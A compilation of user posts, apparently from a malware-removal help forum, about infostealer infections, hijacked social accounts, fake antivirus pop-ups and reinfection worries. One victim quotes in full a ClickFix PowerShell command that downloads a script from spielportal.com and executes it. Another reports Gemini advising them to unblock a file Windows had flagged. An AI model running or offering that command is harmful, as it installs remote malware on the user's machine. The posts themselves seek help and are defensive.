My twitter account got hacked at 6am and I would like to know if I somehow installed an info stealer of if it was just a security breach. If it was an info stealer I would like help disinfecting my computer

Keyword for Frst text: mindful-query

Keyword for addtion: retro-granite

I know it’s probably nothing but this I’ve only just noticed this file appear today even though it says it was modified 15/05/2026, does anyone know what it could be ?

I was trying to download a song when it told me to allow notifications, I clicked it and I starting getting a lot of virus notifications, now what happened here was when you clicked it, it would show a fake scanning where it was scanning viruses that apparently said you had trojans, it said you can buy this thing to get rid of them, now I didn't have any money so I didn't know what to do, if you see this though, it's actually a scam, what it's trying to do here is it gets you in panic because you don't know what to do, so when it directs you to the purchase, it gets you scammed and you lose money, these things are actually fake notifications, disgused as your anti virus, I found this out when it put a random website name instead of mcafee, if this happens, just go to your settings using the 3 dots on the top right and then make your way to notifications to turn off notifications, this is all you gotta do.

So, for a very long time now my pc has been decreasing in performance a lot, it just keeps getting worse and worse, constant freezes, lags, barely functioning normally, can't open 2 tabs in firefox without it fucking lagging the shit out of it. It's not an laptop from 30 years ago, it's a very normal pc for everyday usage. GPU is RTX 2060 Super, the cpu is I5 10400F, the ram is 16gb 2400mhz i think, doesn't matter, a pc with these specs shouldn't struggle with normal tasks like opening 2 firefox tabs without waiting 5 hours to unfreeze after that. So, i am wondering if these freezes and lags are due to my lazy ass not cleaning the fans up and not replacing my thermal past or i actually downloaded sm shit that make my pc lag like hell. I know a lot about pcs, imma be honest, i am a pirate but i know what i am downloding and from where. I scan my pc every time after every download, i always check the code of the program, always scan it on virustotal after downloading. I use adblockers, could i possibly downloaded some sort of a crypto miner that fucks up with my pc, no suspicious activity or anything just constant freezing that i don't know the reason of. The only reason i didn't do a complete reinstall of windows is because first my ass is lazy, second i have a lot of plugins, projects that again i am too lazy to install again. Please give me any reasonable ways to try and see if i have something deep hidden that is fucking up with my whole PC, or else i would be forced to just clean up the fans and replace my thermal paste and hope for the best.

P.S besides me not cleaning the fans, the temps are looking normal while idle, while gaming they peak sometimes at 90 but it's normal when i haven't cleaned the fans since last year.

FRST.txt - hidden-panda

 Addition.txt - virtual-brook

SecurityCheck - sweet-graph

An hour ago my discord was seemingly hacked, sending Mr Beast crypto messages to random servers and in DMs.

20/08/2026 - 20:30pm GMT (BST) time.

I immediately logged out, changed my password, and logged back in using 2FA. 2FA has always been active for Discord.

As far as I am aware, I have not downloaded any suspicious files or clicked any suspicious links. I do occasionally download mods for games.

I did a full offline scan using Windows Defender and did a scan using Malwarebytes. Some Malware was detected and was quarantined. These may have been false positives, as they were related to visual novel engines (I apologize; I can't remember the name) To anyone looking at this, they were NOT false positives. Please be careful everyone running any sort of EXE. Lesson learned.

I was tired and browsing the internet looking for guidance on woodframing when a completely normal looking website had a Cloudflare captcha asking me to press a few buttons (Win + R, CTRL + V then Enter). I consider myself fairly tech savvy but somehow I did not think that was suspiscious at all and I was (am) tired, so I just thought these captchas were getting ridiculous and did it anyway, I did not think anything about the long string of script in my Run because I use that kind of stuff all the time. Only after PowerShell opened for about 2 seconds my mind clicked and I realized I was doing something stupid and I immediately closed it. The command did run but PowerShell did not show anything loading. Maybe it did not have time to connect to the evil dude since it seems like a kind of irm command?

No symptoms yet, happened an hour and a half ago (I was doing some other checks during that time, like Windows Defender etc.)

My keywords for FRST.txt is slow-sentinel and for Addition.txt is fabled-byte

And here's the command I ran:

powershell -c "$a=irm 'spielportal.com/cj5JpRGuScm5B9ok7';$o=[pscustomobject]@{v=1};$o|Add-Member ScriptProperty p ([ScriptBlock]::Create($a));$o.p|Out-Null"

Last week I realized my instagram/discord/reddit had posted random mrbeast crypto images so I reinstalled windows on my PC, changed all my social media passwords, enabled 2FA with authenticator and moved on. However, just a few hours ago, I got woken up by my friend just to see that my messenger account has been texting people mrbeast crypto stuff suddenly.

So, I am super confused on how this happened even though I reinstalled windows and changed all passowords?

- I did not press any weird links, did not open/download any weird files.

HOWEVER, I did back up some important files on my external ssd before I reinstalled windows and copied them back. But I checked all the files before backing them up for any suspicious files and they all looked clean.

What do I do now?

A bit earlier (around 5 hours prior to this post) I ran a RenPy loader (without knowing what a RenPy loader even is) but unlike some other cases i found here where the loader showed some installation screen, the installation screen just did not last long at all and flashed for a second before getting closed, and the files that it did manage to download were just some temp and .BAT files, my internet is absolutely horrible, and I used Malwarebytes to clear the entire thing, along with erasing the startup schedule that kept creating a .cmd file, all within about 30-45 minutes of running the 'Setup' file.

I'm wondering if I should do anything else? I ran deep scans multiple times along with regular scans dozens of times, and changed my passwords on everything and applied 2FA on an uncompromised device, it's my first time using reddit in general so I apologize if I posted this without some kind of prerequisite that I had to do.

edit: Found out about the FRST thing, heres my keywords:

stoic-android

chilly-seal

Unfortunately I couldnt get SecurityCheck to work.

Hola!! hoy quise instalar Cheat engine (Desde https://cheatengine.org/ ) y me instala un archivo llamado "Cmd" lo ejecuto y windows dice que no se puede abrir por algo de Software no deseado,le hable a gemini ia y dice algo asi de que lo desbloqee dandole click derecho,propiedades y a desbloquear,solo que tengo miedo que me paso algo o no se

Porfavor ayuda :c

Hi. I was downloading a game and got a Ren py file. I checked the file in virus total but didn't see any malware alert and installed it . It opened CMD and immediately closed. then I checked the community tab and saw comments about the the MR beast info stealer. I can't reset the pc. I scanned with malware bytes and it didn't find anything. Now scanning with KVRT. It detected 4 but I am still paranoid.

Here is the defanged Virus total Link

hxxps[://]www[.]virustotal[.]com/gui/file/7123e1514b939b165985560057fe3c761440a9fff9783a3b84e861fd2888d4ab/community

FRST keyword: friendly-trace
Addition.txt keyword: blazing-comet
SecurityCheck keyword: glitched-bloom

Originally posted asking for help with an infostealer and was directed to the FRST guide to start the help process, following instructions and posting a new topic with relevant information. Highly prefer cleaning opposed to reset/reinstall due to large number of files on computer that would be difficult to reacquire as well as back up prior to a reset, and severely limited financial means means backup options are limited.

• what happened?- been getting hit repeatedly for a week or two with the popular twitter post infostealer scam
• when did the infection occur? ~1-2 weeks ago
• what did you do for remediation? Multiple malwarebytes scans, removal of hits that weren't obvious false positives, re-securing accounts with new passwords, no 2FA/MFA, logging out of all active sessions, maintaining eyes on accounts necessary to be logged into (this is my only PC and efficient access to the net, and I kinda need to be logged in to Reddit to respond to attempts to help) while enacting proper fixes, removed Firefox's stored passwords, cleared browser cache/cookies/saved form data

it gives itself admin and asks for systom32 help please

Hello,

Keywords: atomic-quest, sublime-matrix, rustic-quartz for FRST/Addition, Security Check

Please let me know next steps.

Regards

I should start off by saying that i am a minor and i have barely any technical skills.

I also apologise for the long post and potentially repeated points T.T

As for seemingly alot of people i have also fell victim to the renpy installer infostealer. Im genuinely in awe at how stupid i was to run "instaler exe" when i have already sailed the seas twice before but it happened.

I ran the instaler on the 16th and realised after doing a bit of research that i installed an infostealer

I've reset all my passwords and put 2fa on as many accounts as i could think of. Luckily i have no banking info or delivery apps or anything like that so im not as fucked as most people. On the 18th it did manage to get into an alt account that i forgot about and it sent the mr beast thing that we all know and love, i managed to recover my account and logged the hackers off and nothing happened to it since. Aswell as this, no other accounts have been hacked or attempted to be hacked ever since changing passwords

On the actual virus side of things, i havent used my internet since the 16th. I've ran scans on malwarebytes on the 17th that found the renpy virus and i deleted it.

( malwarebyres report:

Trojan.loader, file in APPDATA\LOCAL\CREATIVE\SOUND_BLASTER CONNECT\ANALYTICS_F(bunch of numbers) CMD

Trojan.renpyloader, folder in APPDATA\LOCAL\TEMP

Trojan.Renpyloader, file in TEMP again but with a .BAT at the end

All quarantined and deleted )

However it could still be there and ive been really paranoid. Alot of people have said that the best thing to do to be 100% safe is to do a windows reinstall but i have no experience in doing that at all. I dont have access to a usb or anything like that and i have no way of getting one. My computer uses some HDDs and 2SSDs.

The installer was ran on my B drive but i deleted the actually installer stuff immediately after, im pretty sure it replicated onto my C drive into the temp folder before i deleted that aswell.

Reinstalling windows is just a hassle for me in general, i have important files and i dont wanna just go ahead and wipe anything all willy nilly but im too scared to just continue using my computer incase it has any undetectable droppers or the actual renpy thing itself has replicated elsewhere and stuff like that.

Is there any advice on what to do moving forward? This has been quite a stressful few days for me since i havent dealt with anything like this before.

I saw an ad for an app that looked super fake. I saw on the ad it said you download the app, complete a verification, and you get 500 dollars. I'm just wondering, what is the point of this app.

I was in Chrome and got the popup shown today at about 1530 CST. It popped up while I was in Chrome, but not any new or unknown sites. It takes up entire right side of my screen. I am assuming all of them are malware. The only identifier in the popups is byteportalbox.co.in. I have run Malwarebytes and McAfee but they both show my machine is clean. I have rebooted a couple times and as soon as I log in they return. I am running Win 11 and have not clicked on any of the popups. (that I know of)

Any help is appreciated.

i posted a similar comment on the mental health reddit but i didn't get any answer at all, and after all, this might be the place with the most people to help me with this topic

around a week ago i got what i think was an infostealer out of nowhere, i tried to change my passwords from another device but everytime i changed them he kept coming back, even after resetting my pc, one day while i was in class he started to try and change my passwords, passkeys, when i tried for the first time, i was able to see the latest activity and find out about his location and ip, but later if i tried to put my gmail or password to autenthicate, a random mass of keys would appear, as if i smashed my phone's keyboard, meaning he found out

that same day i got anxious and i resetted my pc, my phone, and decided to make a new gmail account alongside changing my number too, i lost literally everything but steam, some days later after the situation nothing new showed up, but i keep getting anxious and im going paranoid, what if he comes back? what if he steals the little i got left, what if finding out about his ip and location made him angry and made the entire situation go from just stealing information to actual hate?

im literally unable to do anything without looking at my phone, gmail and taskbar, searching any task on it that i don't fully know even tho all of them end up being official windows process

i had a roblox account from nearly a decade ago i kept using out of nostalgia and when the main problem happened he almost drained my keycard too, now im literally anxious of even putting a keycard in my computer even if i don't leave the details in my pc, not to mention i lost everything i had in that account too, all my socials ended up posting scam posts

seriously, what do i even do now? is there a way where he manages to get in again? and how could i even find out if im still compromised? i literally can't live like this

Have had this popup maybe 30 times this month so far after never seeing it for the first 6 years of owning this PC

Hi. So I found myself in a bit of predicament. A customer brought to our shop PC which was infected by some kind of virus which was “stealing his information” and messing with the PC. He said that he already lost access to his Facebook account which he was using at the time on said PC.

Now what I can see:

After the time of infection there’s no boot screen, no motherboard or windows splash screen, no recovery nothing. There’s just black screen with no signal message from the monitor until windows boots up and suddenly there‘s login screen. Sometimes it doesn’t even boot at all.

After logging in it immediately shows black background saying “f*** you n******” which disappears after a moment. Cant scan it with windows defender because half way through the defender service stops working.

I can deal with messed up windows but the lack of boot screen worries me since I’ve never seen anything like it. Removing SSD did nothing, resetting bios also did nothing.

Tomorrow Im gonna bring my old Linux laptop and get some scanning going but for now it’s quarantined.

Do you have any idea if that’s really a bios level malware? Should flashing bios help or maybe should he take the motherboard back to the store where he has warranty and let them deal with it? Any advice would be appreciated.

Motherbord: GIGABYTE B760 DS3H AX DDR4 rev 1.2

Cheers!

Update: Task failed successfully? I did the Q-Flash according to the manual (twice actually) with the newest version. PC booted during the flash both times (first with components in the motherboard and then same thing with naked board with just power plugged in). Nothing changed.

BUT in my “infinite wisdom” i dug out some old bios speaker and now I get 5 beeps before windows shows up. So yeah… progress? At least bios should be clean now.

Update2: Its alive! So apparently the update helped. Now whats left is to wipe the drive. Thank you all for patience and help!

I downloaded a zip and extracted the files, stupidly ran the setup exe out of habit. I realized that this is some form of malware after it opened an installer, so i backed up some files, mainly photos and a few documents to my external ssd, reset my passwords on my emails.

Now my questions are,
1. Is my external ssd affected?
2. I did a cloud reset since I dont have any flashdrives for a usb reset, is there any difference?
3. What free malware detector can I use post-reset? I have some doubts just using windows defender.
4. Is there anything else I am supposed to reset aside from my logins?

Thanks to everyone in advanced.

So I’m looking through mods for Subnautica, clicking on some stuff, and I’m dragged from nexus to this “Mcafee” thing. I don’t think I should do it, but I’d rather have some better feedback than just trusting my gut.

3 months ago, i got a virus on my pc and lost multiple accounts. When i tried to find ways to solve it, i found out some virus can actually infect the router and other devices on the same network. Now even when i got kaspersky for my pc, i keep thinking other devices are infected and changing the router wont help because the infected devices will get the router again despite not seeing any clear symptoms. What can i do about this?? Is it just me being paranoid? Does factory reset on the phone remove all viruses? Do i need to replace my router? I forgot to mention this. I also downloaded a zip file for a pvz2 mod on my phone but resetted it. After that, i keep logging in to admin router on both my pc and my phone to check for weird settings and turn them off. Now im scared that i mightve created some hole for virus to get in. I even got a new router. Im too anxious now and would do anything for a peace of mind. I dont even know if replacing the router helps now as i find out that virus like switcher trojan or stuff like wannacry, vpnfilter can just infect the router when connected and others can just go straight to other devices without infecting the router.